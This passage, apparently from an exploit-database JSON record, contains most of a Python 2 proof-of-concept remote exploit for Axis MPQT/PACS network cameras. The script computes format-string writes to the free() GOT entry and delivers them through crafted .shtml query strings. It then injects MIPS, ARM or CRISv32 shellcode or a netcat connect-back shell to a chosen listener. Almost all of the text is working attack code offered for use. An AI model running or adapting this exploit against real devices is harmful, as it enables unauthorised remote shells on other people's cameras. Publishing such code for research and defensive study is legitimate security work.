Check if PORT is valid\r\n\tdef Port(self,PORT):\r\n\t\tself.PORT = PORT\r\n\r\n\t\tif int(self.PORT) < 1 or int(self.PORT) > 65535:\r\n\t\t\treturn False\r\n\t\telse:\r\n\t\t\treturn True\r\n\r\n\t# Check if HOST is valid\r\n\tdef Host(self,HOST):\r\n\t\tself.HOST = HOST\r\n\r\n\t\ttry:\r\n\t\t\t# Check valid IP\r\n\t\t\tsocket.inet_aton(self.HOST) # Will generate exeption if we try with FQDN or invalid IP\r\n\t\t\t# Or we check again if it is correct typed IP\r\n\t\t\tif self.CheckIP(self.HOST):\r\n\t\t\t\treturn self.HOST\r\n\t\t\telse:\r\n\t\t\t\treturn False\r\n\t\texcept socket.error as e:\r\n\t\t\t# Else check valid DNS name, and use the IP address\r\n\t\t\ttry:\r\n\t\t\t\tself.HOST = socket.gethostbyname(self.HOST)\r\n\t\t\t\treturn self.HOST\r\n\t\t\texcept socket.error as e:\r\n\t\t\t\treturn False\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n\r\n#\r\n# Help, info and pre-defined values\r\n#\t\r\n\tINFO = '[Axis Communications MPQT/PACS remote exploit 2016 bashis <mcw noemail eu>]'\r\n\tHTTP = \"http\"\r\n\tHTTPS = \"https\"\r\n\tproto = HTTP\r\n\tverbose = False\r\n\tnoexploit = False\r\n\tlhost = '192.168.0.1'\t# Default Local HOST\r\n\tlport = '31337'\t\t# Default Local PORT\r\n\trhost = '192.168.0.90'\t# Default Remote HOST\r\n\trport = '80'\t\t# Default Remote PORT\r\n\t# Not needed for the SSI exploit, here for possible future usage.\r\n#\tcreds = 'root:pass'\r\n\tcreds = False\r\n\r\n#\r\n# Try to parse all arguments\r\n#\r\n\ttry:\r\n\t\targ_parser = argparse.ArgumentParser(\r\n#\t\tprog=sys.argv[0],\r\n\t\tprog='axis-ssid-PoC.py',\r\n description=('[*]' + INFO + '\\n'))\r\n\t\targ_parser.add_argument('--rhost', required=False, help='Remote Target Address (IP/FQDN) [Default: '+ rhost +']')\r\n\t\targ_parser.add_argument('--rport', required=False, help='Remote Target HTTP/HTTPS Port [Default: '+ rport +']')\r\n\t\targ_parser.add_argument('--lhost', required=False, help='Connect Back Address (IP/FQDN) [Default: '+ lhost +']')\r\n\t\targ_parser.add_argument('--lport', required=False, help='Connect Back Port [Default: '+ lport + ']')\r\n\t\targ_parser.add_argument('--fms', required=False, help='Manual FMS key')\r\n\t\tif creds:\r\n\t\t\targ_parser.add_argument('--auth', required=False, help='Basic Authentication [Default: '+ creds + ']')\r\n\t\targ_parser.add_argument('--https', required=False, default=False, action='store_true', help='Use HTTPS for remote connection [Default: HTTP]')\r\n\t\targ_parser.add_argument('-v','--verbose', required=False, default=False, action='store_true', help='Verbose mode [Default: False]')\r\n\t\targ_parser.add_argument('--noexploit', required=False, default=False, action='store_true', help='Simple testmode; With --verbose testing all code without exploiting [Default: False]')\r\n\t\targ_parser.add_argument('--dict', required=False, default=False, action='store_true', help='Print FMS keys and stats from dictionary, additional details with --verbose')\r\n\t\targs = arg_parser.parse_args()\r\n\texcept Exception as e:\r\n\t\tprint INFO,\"\\nError: %s\\n\" % str(e)\r\n\t\tsys.exit(1)\r\n\r\n\t# We want at least one argument, so print out help\r\n\tif len(sys.argv) == 1:\r\n\t\targ_parser.parse_args(['-h'])\r\n\r\n\tprint \"\\n[*]\",INFO\r\n\r\n\tif args.verbose:\r\n\t\tverbose = args.verbose\r\n\r\n\t# Print out info from dictionary\r\n\tif args.dict:\r\n\t\ttarget = FMSdb(rhost,verbose).FMSkey(0)\r\n\t\tprint \"[db] Number of FMS keys:\",len(target)\r\n\r\n\t\t# Print out detailed info from dictionary\r\n\t\tif verbose:\r\n\r\n\t\t\tprint \"[db] Target details of FMS Keys availible for manual xploiting\"\r\n\t\t\tprint \"\\n[FMS Key]\\t[GOT Address]\\t[BinSh Address]\\t[POP1]\\t[POP2]\\t[POP3]\\t[POP4]\\t[Shellcode]\"\r\n\r\n\t\t\tfor tmp in range(0,len(target)):\r\n\t\t\t\tKey = sorted(target.keys())[tmp]\r\n\t\t\t\ttemp = re.split('[-]',Key)[0:10]\r\n\r\n\t\t\t\tif temp[1] == 'NCSH':\r\n\t\t\t\t\tprint Key,'\\t','0x{:08x}'.format(target[Key][0]),'\\t','0x{:08x}'.format(target[Key][1]),'\\t',target[Key][2],'\\t',target[Key][3],'\\t',target[Key][4],'\\t',target[Key][5],'\\t',target[Key][6]\r\n\r\n\t\t\tprint \"\\n[FMS Key]\\t[GOT Address]\\t[BSS Address]\\t[POP1]\\t[POP2]\\t[Align]\\t[Buf]\\t[Shellcode]\"\r\n\t\t\tfor tmp in range(0,len(target)):\r\n\t\t\t\tKey = sorted(target.keys())[tmp]\r\n\t\t\t\ttemp = re.split('[-]',Key)[0:10]\r\n\r\n\t\t\t\tif temp[1] != 'NCSH':\r\n\t\t\t\t\tprint Key,'\\t','0x{:08x}'.format(target[Key][0]),'\\t','0x{:08x}'.format(target[Key][1]),'\\t',target[Key][2],'\\t',target[Key][3],'\\t',len(target[Key][4]),'\\t',target[Key][5],'\\t',target[Key][6]\r\n\r\n\t\t\tprint \"\\n\"\r\n\t\telse:\r\n\t\t\tprint \"[db] Target FMS Keys availible for manual xploiting instead of using auto mode:\"\r\n\t\t\tKey = \"\"\r\n\t\t\tfor tmp in range(0,len(target)):\r\n\t\t\t\tKey += sorted(target.keys())[tmp]\r\n\t\t\t\tKey += ', '\r\n\t\t\tprint '\\n',Key,'\\n'\r\n\t\tsys.exit(0)\r\n\r\n#\r\n# Check validity, update if needed, of provided options\r\n#\r\n\tif args.https:\r\n\t\tproto = HTTPS\r\n\t\tif not args.rport:\r\n\t\t\trport = '443'\r\n\r\n\tif creds and args.auth:\r\n\t\tcreds = args.auth\r\n\r\n\tif args.noexploit:\r\n\t\tnoexploit = args.noexploit\r\n\r\n\tif args.rport:\r\n\t\trport = args.rport\r\n\r\n\tif args.rhost:\r\n\t\trhost = args.rhost\r\n\r\n\tif args.lport:\r\n\t\tlport = args.lport\r\n\r\n\tif args.lhost:\r\n\t\tlhost = args.lhost\r\n\r\n\t# Check if LPORT is valid\r\n\tif not Validate(verbose).Port(lport):\r\n\t\tprint \"[!] Invalid LPORT - Choose between 1 and 65535\"\r\n\t\tsys.exit(1)\r\n\r\n\t# Check if RPORT is valid\r\n\tif not Validate(verbose).Port(rport):\r\n\t\tprint \"[!] Invalid RPORT - Choose between 1 and 65535\"\r\n\t\tsys.exit(1)\r\n\r\n\t# Check if LHOST is valid IP or FQDN, get IP back\r\n\tlhost = Validate(verbose).Host(lhost)\r\n\tif not lhost:\r\n\t\tprint \"[!] Invalid LHOST\"\r\n\t\tsys.exit(1)\r\n\r\n\t# Check if RHOST is valid IP or FQDN, get IP back\r\n\trhost = Validate(verbose).Host(rhost)\r\n\tif not rhost:\r\n\t\tprint \"[!] Invalid RHOST\"\r\n\t\tsys.exit(1)\r\n\r\n\r\n#\r\n# Validation done, start print out stuff to the user\r\n#\r\n\tif noexploit:\r\n\t\tprint \"[i] Test mode selected, no exploiting...\"\r\n\tif args.https:\r\n\t\tprint \"[i] HTTPS / SSL Mode Selected\"\r\n\tprint \"[i] Remote target IP:\",rhost\r\n\tprint \"[i] Remote target PORT:\",rport\r\n\tprint \"[i] Connect back IP:\",lhost\r\n\tprint \"[i] Connect back PORT:\",lport\r\n\r\n\trhost = rhost + ':' + rport\r\n\r\n#\r\n# FMS key is required into this PoC\r\n#\r\n\tif not args.fms:\r\n\t\tprint \"[!] FMS key is required!\"\r\n\t\tsys.exit(1)\r\n\telse:\r\n\t\tKey = args.fms\r\n\t\tprint \"[i] Trying with FMS key:\",Key\r\n\r\n#\r\n# Prepare exploiting\r\n#\r\n\t# Look up the FMS key in dictionary and return pointer for FMS details to use\r\n\ttarget = FMSdb(rhost,verbose).FMSkey(Key)\r\n\r\n\tif target[Key][6] == 'NCSH1':\r\n\t\tNCSH1 = target[Key][6]\r\n\t\tNCSH2 = \"\"\r\n\telif target[Key][6] == 'NCSH2':\r\n\t\tNCSH2 = target[Key][6]\r\n\t\tNCSH1 = \"\"\r\n\telse:\r\n\t\tNCSH1 = \"\"\r\n\t\tNCSH2 = \"\"\r\n\t\r\n\tif Key == 'ARM-NCSH-5.8x':\r\n\t\tprint \"\\nExploit working, but will end up in endless loop after exiting remote NCSH\\nDoS sux, so I'm exiting before that shit....\\n\\n\"\r\n\t\tsys.exit(0)\r\n\r\n\tprint \"[i] Preparing shellcode:\",str(target[Key][6])\r\n\r\n\t# We don't use url encoded shellcode with Netcat shell\r\n\t# This is for MIPS/CRISv32 and ARM shellcode\r\n\tif not NCSH1 and not NCSH2:\r\n\t\tFMSdata = target[Key][4]\t\t# This entry aligns the injected shellcode\r\n\r\n\t\t# Building up the url encoded shellcode for sending to the target,\r\n\t\t# and replacing LHOST / LPORT in shellcode to choosen values\r\n\t\t\r\n\t\t# part of first 500 decoded bytes will be overwritten during stage #2, and since\r\n\t\t# there is different 'tailing' on the request internally, keep it little more than needed, to be safe.\r\n\t\t# Let it be 0x00, just for fun.\r\n\t\tFMSdata += '%00' * target[Key][5]\r\n\r\n\t\t# Connect back IP to url encoded\r\n\t\tip_hex = '%{:02x} %{:02x} %{:02x} %{:02x}'.format(*map(int, lhost.split('.')))\r\n\t\tip_hex = ip_hex.split()\r\n\t\tIP1=ip_hex[0];IP2=ip_hex[1];IP3=ip_hex[2];IP4=ip_hex[3];\r\n\r\n\t\t# Let's break apart the hex code of LPORT into two bytes\r\n\t\tport_hex = hex(int(lport))[2:]\r\n\t\tport_hex = port_hex.zfill(len(port_hex) + len(port_hex) % 2)\r\n\t\tport_hex = ' '.join(port_hex[i: i+2] for i in range(0, len(port_hex), 2))\r\n\t\tport_hex = port_hex.split()\r\n\t\r\n\t\tif (target[Key][6]) == 'MIPSel':\r\n\t\t\t# Connect back PORT\r\n\t\t\tif len(port_hex) == 1:\r\n\t\t\t\tPP1 = \"%ff\"\r\n\t\t\t\tPP0 = '%{:02x}'.format((int(port_hex[0],16)-1))\r\n\t\t\telif len(port_hex) == 2:\r\n\t\t\t\t# Little Endian\r\n\t\t\t\tPP1 = '%{:02x}'.format((int(port_hex[0],16)-1))\r\n\t\t\t\tPP0 = '%{:02x}'.format(int(port_hex[1],16))\r\n\t\telif (target[Key][6]) == 'ARMel': # Could be combinded with CRISv32\r\n\t\t\t# Connect back PORT\r\n\t\t\tif len(port_hex) == 1:\r\n\t\t\t\tPP1 = \"%00\"\r\n\t\t\t\tPP0 = '%{:02x}'.format(int(port_hex[0],16))\r\n\t\t\telif len(port_hex) == 2:\r\n\t\t\t\t# Little Endian\r\n\t\t\t\tPP1 = '%{:02x}'.format(int(port_hex[0],16))\r\n\t\t\t\tPP0 = '%{:02x}'.format(int(port_hex[1],16))\r\n\t\telif (target[Key][6]) == 'CRISv32':\r\n\t\t\t# Connect back PORT\r\n\t\t\tif len(port_hex) == 1:\r\n\t\t\t\tPP1 = \"%00\"\r\n\t\t\t\tPP0 = '%{:02x}'.format(int(port_hex[0],16))\r\n\t\t\telif len(port_hex) == 2:\r\n\t\t\t\t# Little Endian\r\n\t\t\t\tPP1 = '%{:02x}'.format(int(port_hex[0],16))\r\n\t\t\t\tPP0 = '%{:02x}'.format(int(port_hex[1],16))\r\n\t\telse:\r\n\t\t\tprint \"[!] Unknown shellcode! (%s)\" % str(target[Key][6])\r\n\t\t\tsys.exit(1)\r\n\r\n\t\t# Replace LHOST / LPORT in URL encoded shellcode\r\n\t\tshell = shellcode_db(rhost,verbose).sc(target[Key][6])\r\n\t\tshell = shell.replace(\"IP1\",IP1)\r\n\t\tshell = shell.replace(\"IP2\",IP2)\r\n\t\tshell = shell.replace(\"IP3\",IP3)\r\n\t\tshell = shell.replace(\"IP4\",IP4)\r\n\t\tshell = shell.replace(\"PP0\",PP0)\r\n\t\tshell = shell.replace(\"PP1\",PP1)\r\n\t\tFMSdata += shell\r\n\r\n#\r\n# Calculate the FMS values to be used\r\n#\r\n\t# Get pre-defined values\r\n\tALREADY_WRITTEN = 40\t# Already 'written' in the daemon before our FMS\r\n#\tPOP_SIZE = 8\r\n\tPOP_SIZE = 1\r\n\r\n\tGOThex = target[Key][0]\r\n\tBSShex = target[Key][1]\r\n\tGOTint = int(GOThex)\r\n\r\n\t# 'One-Write-Where-And-What'\r\n\tif not NCSH1 and not NCSH2:\r\n\r\n\t\tPOP1 = target[Key][2]\r\n\t\tPOP2 = target[Key][3]\r\n\r\n\t\t# Calculate for creating the FMS code\r\n\t\tALREADY_WRITTEN = ALREADY_WRITTEN + (POP1 * POP_SIZE)\r\n\t\tGOTint = (GOTint - ALREADY_WRITTEN)\r\n\t\r\n\t\tALREADY_WRITTEN = ALREADY_WRITTEN + (POP2 * POP_SIZE)\r\n\r\n\t\tBSSint = int(BSShex)\r\n\t\tBSSint = (BSSint - GOTint - ALREADY_WRITTEN)\r\n\r\n#\t\tif verbose:\r\n#\t\t\tprint \"[Verbose] Calculated GOTint:\",GOTint,\"Calculated BSSint:\",BSSint\r\n\r\n\t# 'Two-Write-Where-And-What' using \"New Style\"\r\n\telif NCSH2:\r\n\r\n\t\tPOP1 = target[Key][2]\r\n\t\tPOP2 = target[Key][3]\r\n\t\tPOP3 = target[Key][4]\r\n\t\tPOP4 = target[Key][5]\r\n \t\tPOP2_SIZE = 2\r\n\t\t\r\n \t\t# We need to count higher than provided address for the jump\r\n\t\tBaseAddr = 0x10000 + BSShex\r\n\t\r\n\t\t# Calculate for creating the FMS code\r\n\t\tGOTint = (GOTint - ALREADY_WRITTEN)\r\n\r\n\t\tALREADY_WRITTEN = ALREADY_WRITTEN + GOTint\r\n\t\t\r\n\t\t# Calculate FirstWhat value\r\n\t\tFirstWhat = BaseAddr - (ALREADY_WRITTEN)\r\n\t\t\r\n\t\tALREADY_WRITTEN = ALREADY_WRITTEN + FirstWhat\r\n\r\n\t\t# Calculate SecondWhat value, so it always is 0x20300\r\n\t\tSecondWhat = 0x20300 - (ALREADY_WRITTEN + POP2_SIZE)\r\n\r\n\t\tshell = shellcode_db(rhost,verbose).sc(target[Key][6])\r\n\t\tshell = shell.replace(\"LHOST\",lhost)\r\n\t\tshell = shell.replace(\"LPORT\",lport)\r\n\r\n\t\tFirstWhat = FirstWhat - len(shell)\r\n\r\n#\t\tif verbose:\r\n#\t\t\tprint \"[Verbose] Calculated GOTint:\",GOTint,\"Calculated FirstWhat:\",FirstWhat,\"Calculated SecondWhat:\",SecondWhat\r\n\t\r\n\t\r\n\t# 'Two-Write-Where-And-What' using \"Old Style\"\r\n\telif NCSH1:\r\n\r\n\t\tPOP1 = target[Key][2]\r\n\t\tPOP2 = target[Key][3]\r\n\t\tPOP3 = target[Key][4]\r\n\t\tPOP4 = target[Key][5]\r\n\t\tPOP2_SIZE = 2\r\n\r\n\t\t# FirstWhat writes with 4 bytes (Y) (0x0002YYYY)\r\n\t\t# SecondWhat writes with 1 byte (Z) (0x00ZZYYYY)\r\n\t\tif BSShex > 0x10000:\r\n\t\t\tMSB = 1\r\n\t\telse:\r\n\t\t\tMSB = 0\r\n\r\n \t\t# We need to count higher than provided address for the jump\r\n\t\tBaseAddr = 0x10000 + BSShex\r\n\r\n\t\t# Calculate for creating the FMS code\r\n\t\tALREADY_WRITTEN = ALREADY_WRITTEN + (POP1 * POP_SIZE)\r\n\t\t\r\n\t\tGOTint = (GOTint - ALREADY_WRITTEN)\r\n\t\t\r\n\t\tALREADY_WRITTEN = ALREADY_WRITTEN + GOTint + POP2_SIZE + (POP3 * POP_SIZE)\r\n\t\t\r\n\t\t# Calculate FirstWhat value\r\n\t\tFirstWhat = BaseAddr - (ALREADY_WRITTEN)\r\n\t\t\r\n\t\tALREADY_WRITTEN = ALREADY_WRITTEN + FirstWhat + (POP4 * POP_SIZE)\r\n\r\n\t\t# Calculate SecondWhat value, so it always is 0x203[00] or [01]\r\n\t\tSecondWhat = 0x20300 - (ALREADY_WRITTEN) + MSB\r\n\r\n\t\tshell = shellcode_db(rhost,verbose).sc(target[Key][6])\r\n\t\tshell = shell.replace(\"LHOST\",lhost)\r\n\t\tshell = shell.replace(\"LPORT\",lport)\r\n\r\n\t\tGOTint = GOTint - len(shell)\r\n\r\n#\t\tif verbose:\r\n#\t\t\tprint \"[Verbose] Calculated GOTint:\",GOTint,\"Calculated FirstWhat:\",FirstWhat,\"Calculated SecondWhat:\",SecondWhat\r\n\t\r\n\telse:\r\n\t\tprint \"[!] NCSH missing, exiting\"\r\n\t\tsys.exit(1)\r\n#\r\n# Let's start the exploiting procedure\r\n#\r\n\r\n#\r\n# Stage one\r\n#\r\n\tif NCSH1 or NCSH2:\r\n\r\n\t\t# \"New Style\" needs to make the exploit in two stages\r\n\t\tif NCSH2:\r\n\t\t\tFMScode = do_FMS(rhost,verbose)\r\n\t\t\t# Writing 'FirstWhere' and 'SecondWhere'\r\n\t\t\t# 1st request\r\n\t\t\tFMScode.AddADDR(GOTint) # Run up to free() GOT address\r\n\t\t\t#\r\n\t\t\t# 1st and 2nd \"Write-Where\"\r\n\t\t\tFMScode.AddDirectParameterN(POP1)\t# Write 1st Where\r\n\t\t\tFMScode.Add(\"XX\")\t\t\t# Jump up two bytes for next address\r\n\t\t\tFMScode.AddDirectParameterN(POP2)\t# Write 2nd Where\r\n\t\t\tFMSdata = FMScode.FMSbuild()\r\n\t\telse:\r\n\t\t\tFMSdata = \"\"\r\n\r\n\t\tprint \"[>] StG_1: Preparing netcat connect back shell to address:\",'0x{:08x}'.format(BSShex),\"(%d bytes)\" % (len(FMSdata))\r\n\telse:\r\n\t\tprint \"[>] StG_1: Sending and decoding shellcode to address:\",'0x{:08x}'.format(BSShex),\"(%d bytes)\" % (len(FMSdata))\r\n\r\n\t# Inject our encoded shellcode to be decoded in MIPS/CRISv32/ARM\r\n\t# Actually, any valid and public readable .shtml file will work...\r\n\t# (One of the two below seems always to be usable)\r\n\t#\r\n\t# For NCSH1 shell, we only check if the remote file are readable, for usage in Stage two\r\n\t# For NCSH2, 1st and 2nd (Write-Where) FMS comes here, and calculations start after '=' in the url\r\n\t#\r\n\ttry:\r\n\t\ttarget_url = \"/httpDisabled.shtml?user_agent=\"\r\n\t\tif noexploit:\r\n\t\t\ttarget_url2 = target_url\r\n\t\telse:\r\n\t\t\ttarget_url2 = \"/httpDisabled.shtml?&http_user=\"\r\n\r\n\t\tif NCSH2:\r\n\t\t\thtml = HTTPconnect(rhost,proto,verbose,creds,noexploit).RAW(target_url2 + FMSdata) # Netcat shell\r\n\t\telse:\r\n\t\t\thtml = HTTPconnect(rhost,proto,verbose,creds,noexploit).Send(target_url + FMSdata)\r\n\texcept urllib2.HTTPError as e:\r\n\t\tif e.code == 404:\r\n\t\t\tprint \"[<] Error\",e.code,e.reason\r\n\t\t\ttarget_url = \"/view/viewer_index.shtml?user_agent=\"\r\n\t\t\tif noexploit:\r\n\t\t\t\ttarget_url2 = target_url\r\n\t\t\telse:\r\n\t\t\t\ttarget_url2 = \"/view/viewer_index.shtml?&http_user=\"\r\n\t\t\tprint \"[>] Using alternative target shtml\"\r\n\t\t\tif NCSH2:\r\n\t\t\t\thtml = HTTPconnect(rhost,proto,verbose,creds,noexploit).RAW(target_url2 + FMSdata) # Netcat shell\r\n\t\t\telse:\r\n\t\t\t\thtml = HTTPconnect(rhost,proto,verbose,creds,noexploit).Send(target_url + FMSdata)\r\n\texcept Exception as e:\r\n\t\tif not NCSH2:\r\n\t\t\tprint \"[!] Shellcode delivery failed:\",str(e)\r\n\t\t\tsys.exit(1)\r\n#\r\n# Stage two\r\n#\r\n\r\n#\r\n# Building and sending the FMS code to the target\r\n#\r\n\tprint \"[i] Building the FMS code...\"\r\n\r\n\tFMScode = do_FMS(rhost,verbose)\r\n\r\n\t# This is an 'One-Write-Where-And-What' for FMS\r\n\t#\r\n\t# Stack Example:\r\n\t#\r\n\t# Stack content\t|\tStack address (ASLR)\r\n\t#\r\n\t# 0x0\t\t|\t@0x7e818dbc -> [POP1's]\r\n\t# 0x0\t\t|\t@0x7e818dc0 -> [free () GOT address]\r\n\t# 0x7e818dd0\t|\t@0x7e818dc4>>>>>+ \"Write-Where\" (%n)\r\n\t# 0x76f41fb8\t|\t@0x7e818dc8 | -> [POP2's]\r\n\t# 0x76f3d70c\t|\t@0x7e818dcc | -> [BSS shell code address]\r\n\t# 0x76f55ab8\t|\t@0x7e818dd0<<<<<+ \"Write-What\" (%n)\r\n\t# 0x1\t\t|\t@0x7e818dd4\r\n\t#\r\n\tif not NCSH1 and not NCSH2:\r\n\t\tFMScode.AddPOP(POP1)\t\t# 1st serie of 'Old Style' POP's \r\n\t\tFMScode.AddADDR(GOTint)\t\t# GOT Address\r\n\t\tFMScode.AddWRITEn(1)\t\t# 4 bytes Write-Where\r\n#\t\tFMScode.AddWRITElln(1)\t\t# Easier to locate while debugging as this will write double word (0x00000000004xxxxx)\r\n\r\n\t\tFMScode.AddPOP(POP2)\t\t# 2nd serie of 'Old Style' POP's\r\n\t\tFMScode.AddADDR(BSSint)\t\t# BSS shellcode address\r\n\t\tFMScode.AddWRITEn(1)\t\t# 4 bytes Write-What\r\n#\t\tFMScode.AddWRITElln(1)\t\t# Easier to locate while debugging as this will write double word (0x00000000004xxxxx)\r\n\r\n\t# End of 'One-Write-Where-And-What'\r\n\r\n\r\n\t# This is an 'Two-Write-Where-And-What' for FMS\r\n\t#\r\n\t# Netcat shell and FMS code in same request, we will jump to the SSI function <!--#exec cmd=\"xxx\" -->\r\n\t# We jump over all SSI tagging to end up directly where \"xxx\" will\r\n\t# be the string passed on to SSI exec function ('/bin/sh -c', pipe(), vfork() and execv())\r\n\t#\r\n\t# The Trick here is to write lower target address, that we will jump to when calling free(),\r\n\t# than the FMS has counted up to, by using Two-Write-Where-and-What with two writes to free() GOT\r\n\t# address with two LSB writes.\r\n\t#\r\n\telif NCSH2:\r\n\t\t#\r\n\t\t# Direct parameter access for FMS exploitation are really nice and easy to use.\r\n\t\t# However, we need to exploit in two stages with two requests.\r\n\t\t# (I was trying to avoid this \"Two-Stages\" so much as possibly in this exploit developement...)\r\n\t\t#\r\n\t\t# 1. Write \"Two-Write-Where\", where 2nd is two bytes higher than 1st (this allows us to write to MSB and LSB)\r\n\t\t# 2. Write with \"Two-Write-What\", where 1st (LSB) and 2nd (MSB) \"Write-Where\" pointing to.\r\n\t\t# \r\n\t\t# With \"new style\", we can write with POPs independently as we don't depended of same criteria as in \"NCSH1\",\r\n\t\t# we can use any regular \"Stack-to-Stack\" pointer as we can freely choose the POP-and-Write.\r\n\t\t# [Note the POP1/POP2 (low-high) vs POP3/POP4 (high-low) difference.]\r\n\t\t#\r\n\t\t# Stack Example:\r\n\t\t#\r\n\t\t# Stack content\t|\tStack address (ASLR)\r\n\t\t#\r\n\t\t# 0x7e818dd0\t|\t@0x7e818dc4>>>>>+ 1st \"Write-Where\" [@Stage One]\r\n\t\t# 0x76f41fb8\t|\t@0x7e818dc8 |\r\n\t\t# 0x76f3d70c\t|\t@0x7e818dcc |\r\n\t\t# 0x76f55ab8\t|\t@0x7e818dd0<<<<<+ 1st \"Write-What\" [@Stage Two]\r\n\t\t# 0x1\t\t|\t@0x7e818dd4\r\n\t\t# [....]\r\n\t\t# 0x1c154\t|\t@0x7e818e10\r\n\t\t# 0x7e818e20\t|\t@0x7e818e14>>>>>+ 2nd \"Write-Where\" [@Stage One]\r\n\t\t# 0x76f41fb8\t|\t@0x7e818e18 |\r\n\t\t# 0x76f3d70c\t|\t@0x7e818e1c |\r\n\t\t# 0x76f55758\t|\t@0x7e818e20<<<<<+ 2nd \"Write-What\" [@Stage Two]\r\n\t\t# 0x1\t\t|\t@0x7e818e24\r\n\t\t#\r\n\r\n\t\tFMScode.Add(shell)\r\n\r\n\t\t#\r\n\t\t# 1st and 2nd \"Write-Where\" already done in stage one\r\n\t\t#\r\n\t\t# 1st and 2nd \"Write-What\"\r\n\t\t#\r\n\t\tFMScode.AddADDR(GOTint + FirstWhat)\t# Run up to 0x0002XXXX, write with LSB (0xXXXX) to LSB in target address.\r\n\t\tFMScode.AddDirectParameterN(POP3)\t# Write with 4 bytes (we want to zero out in MSB)\r\n\t\tFMScode.AddADDR(SecondWhat + 3)\t\t# Run up to 0x00020300, write with LSB (0xZZ) to lower part of MSB. (0x00ZZXXXX)\r\n\t\tFMScode.AddDirectParameterHHN(POP4)\t# Write with one byte 0x000203[00] or 0x000203[01] depending from above calculation\r\n\r\n\telif NCSH1:\r\n\t\t# Could use direct argument addressing here, but I like to keep \"old style\" as well,\r\n\t\t# as it's another interesting concept.\r\n\t\t#\r\n\t\t# Two matching stack contents -> stack address in row w/o or max two POP's between,\r\n\t\t# is needed to write two bytes higher (MSB).\r\n\t\t# \r\n\t\t#\r\n\t\t# Stack Example:\r\n\t\t#\r\n\t\t# Stack Content\t|\t@Stack Address (ASLR)\r\n\t\t#\r\n\t\t# 0x9c\t\t|\t@7ef2fde8 -> [POP1's]\r\n\t\t# [....]\r\n\t\t# 0x1\t\t|\t@7ef2fdec -> [GOTint address]\r\n\t\t#------\r\n\t\t# 0x7ef2fe84\t|\t@7ef2fdf0 >>>>>+ Write 'FirstWhere' (%n) [LSB]\r\n\t\t# -> 'XX' | two bytes (Can be one or two POP's as well, by using %2c or %1c%1c as POPer)\r\n\t\t# 0x7ef2fe8c\t|\t@7ef2fdf4 >>>>>>>>>+ Write 'SecondWhere' (%n) [MSB]\r\n\t\t# ------ | |\r\n\t\t# [....] -> [POP3's] | |\r\n\t\t# 0x7fb99dc\t|\t@7ef2fe7c | |\r\n\t\t# 0x7ef2fe84\t|\t@7ef2fe80 | | [Count up to 0x2XXXX]\r\n\t\t# 0x7ef2ff6a\t|\t@7ef2fe84 <<<<<+ | Write 'XXXX' 'FirstWhat' (%n) (0x0002XXXX))\r\n\t\t# -> [POP4's] |\r\n\t\t# (nil)\t\t|\t@7ef2fe88 | [Count up to 0x20300]\r\n\t\t# 0x7ef2ff74\t|\t@7ef2fe8c <<<<<<<<<+ Write 'ZZ' 'SecondWhat' (%hhn) (0x00ZZXXXX)\r\n\r\n\t\tFMScode.Add(shell)\r\n\r\n\t\t# Write FirstWhere for 'FirstWhat'\r\n\t\tFMScode.AddPOP(POP1)\r\n\t\tFMScode.AddADDR(GOTint) # Run up to free() GOT address\r\n\t\tFMScode.AddWRITEn(1)\r\n\r\n\t\t# Write SecondWhere for 'SecondWhat'\r\n\t\t#\r\n\t\t# This is special POP with 1 byte, we can maximum POP 2!\r\n\t\t#\r\n\t\t# This POP sequence is actually no longer used in this part of exploit, was developed to meet the requirement\r\n\t\t# for exploitation of 5.2.x and 5.40.x, as there needed to be one POP with maximum of two bytes.\r\n\t\t# Kept as reference as we now using direct parameter access AKA 'New Style\" for 5.2x/5.4x\r\n\t\t#\r\n\t\tif POP2 != 0:\r\n\t\t\t# We only want to write 'SecondWhat' two bytes higher at free() GOT\r\n\t\t\tif POP2 > 2:\r\n\t\t\t\tprint \"POP2 can't be greater than two!\"\r\n\t\t\t\tsys.exit(1)\r\n\t\t\tif POP2 == 1:\r\n\t\t\t\tFMScode.Add(\"%2c\")\r\n\t\t\telse:\r\n\t\t\t\tFMScode.Add(\"%1c%1c\")\r\n\t\telse:\r\n\t\t\tFMScode.Add(\"XX\")\r\n\t\tFMScode.AddWRITEn(1)\r\n\r\n\t\t# Write FirstWhat pointed by FirstWhere\r\n\t\tFMScode.AddPOP(POP3)\t\t# Old Style POP's\r\n\t\tFMScode.AddADDR(FirstWhat)\t# Run up to 0x0002XXXX, write with LSB (0xXXXX) to LSB in target address.\r\n\t\tFMScode.AddWRITEn(1)\t\t# Write with 4 bytes (we want to zero out in MSB)\r\n\t\t\r\n\t\t# Write SecondWhat pointed by SecondWhere\r\n\t\tFMScode.AddPOP(POP4)\t\t# Old Style POP's\r\n\t\tFMScode.AddADDR(SecondWhat)\t# Run up to 0x00020300, write with LSB (0xZZ) to lower part of MSB. (0x00ZZXXXX)\r\n\t\tFMScode.AddWRITEhhn(1)\t\t# Write with one byte 0x000203[00] or 0x000203[01] depending from above calculation\r\n\r\n\telse:\r\n\t\tsys.exit(1)\r\n\r\n\tFMSdata = FMScode.FMSbuild()\r\n\r\n\tprint \"[>] StG_2: Writing shellcode address to free() GOT address:\",'0x{:08x}'.format(GOThex),\"(%d bytes)\" % (len(FMSdata))\r\n\r\n\t# FMS comes here, and calculations start after '=' in the url\r\n\ttry:\r\n\t\tif NCSH1 or NCSH2:\r\n\t\t\thtml = HTTPconnect(rhost,proto,verbose,creds,noexploit).RAW(target_url2 + FMSdata) # Netcat shell\r\n\t\telse:\r\n\t\t\thtml = HTTPconnect(rhost,proto,verbose,creds,noexploit).Send(target_url2 + FMSdata) # MIPS/CRIS shellcode\r\n\texcept urllib2.HTTPError as e:\r\n\t\tprint \"[!] Payload delivery failed:\",str(e)\r\n\t\tsys.exit(1)\r\n\texcept Exception as e:\r\n\t\t# 1st string returned by HTTP mode, 2nd by HTTPS mode\r\n\t\tif str(e) == \"timed out\" or str(e) == \"('The read operation timed out',)\":\r\n\t\t\tprint \"[i] Timeout! Payload delivered sucessfully!\"\r\n\t\telse:\r\n\t\t\tprint \"[!] Payload delivery failed:\",str(e)\r\n\t\t\tsys.exit(1)\r\n\r\n\tif noexploit:\r\n\t\tprint \"\\n[*] Not exploiting, no shell...\\n\"\r\n\telse:\r\n\t\tprint \"\\n[*] All done, enjoy the shell...\\n\"\r\n\r\n#\r\n# [EOF]\r\n#\r\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://www.exploit-db.com/download/40125/"}], "zdt": [{"lastseen": "2018-03-17T03:12:47", "bulletinFamily": "exploit", "description": "Exploit for multiple platform in category 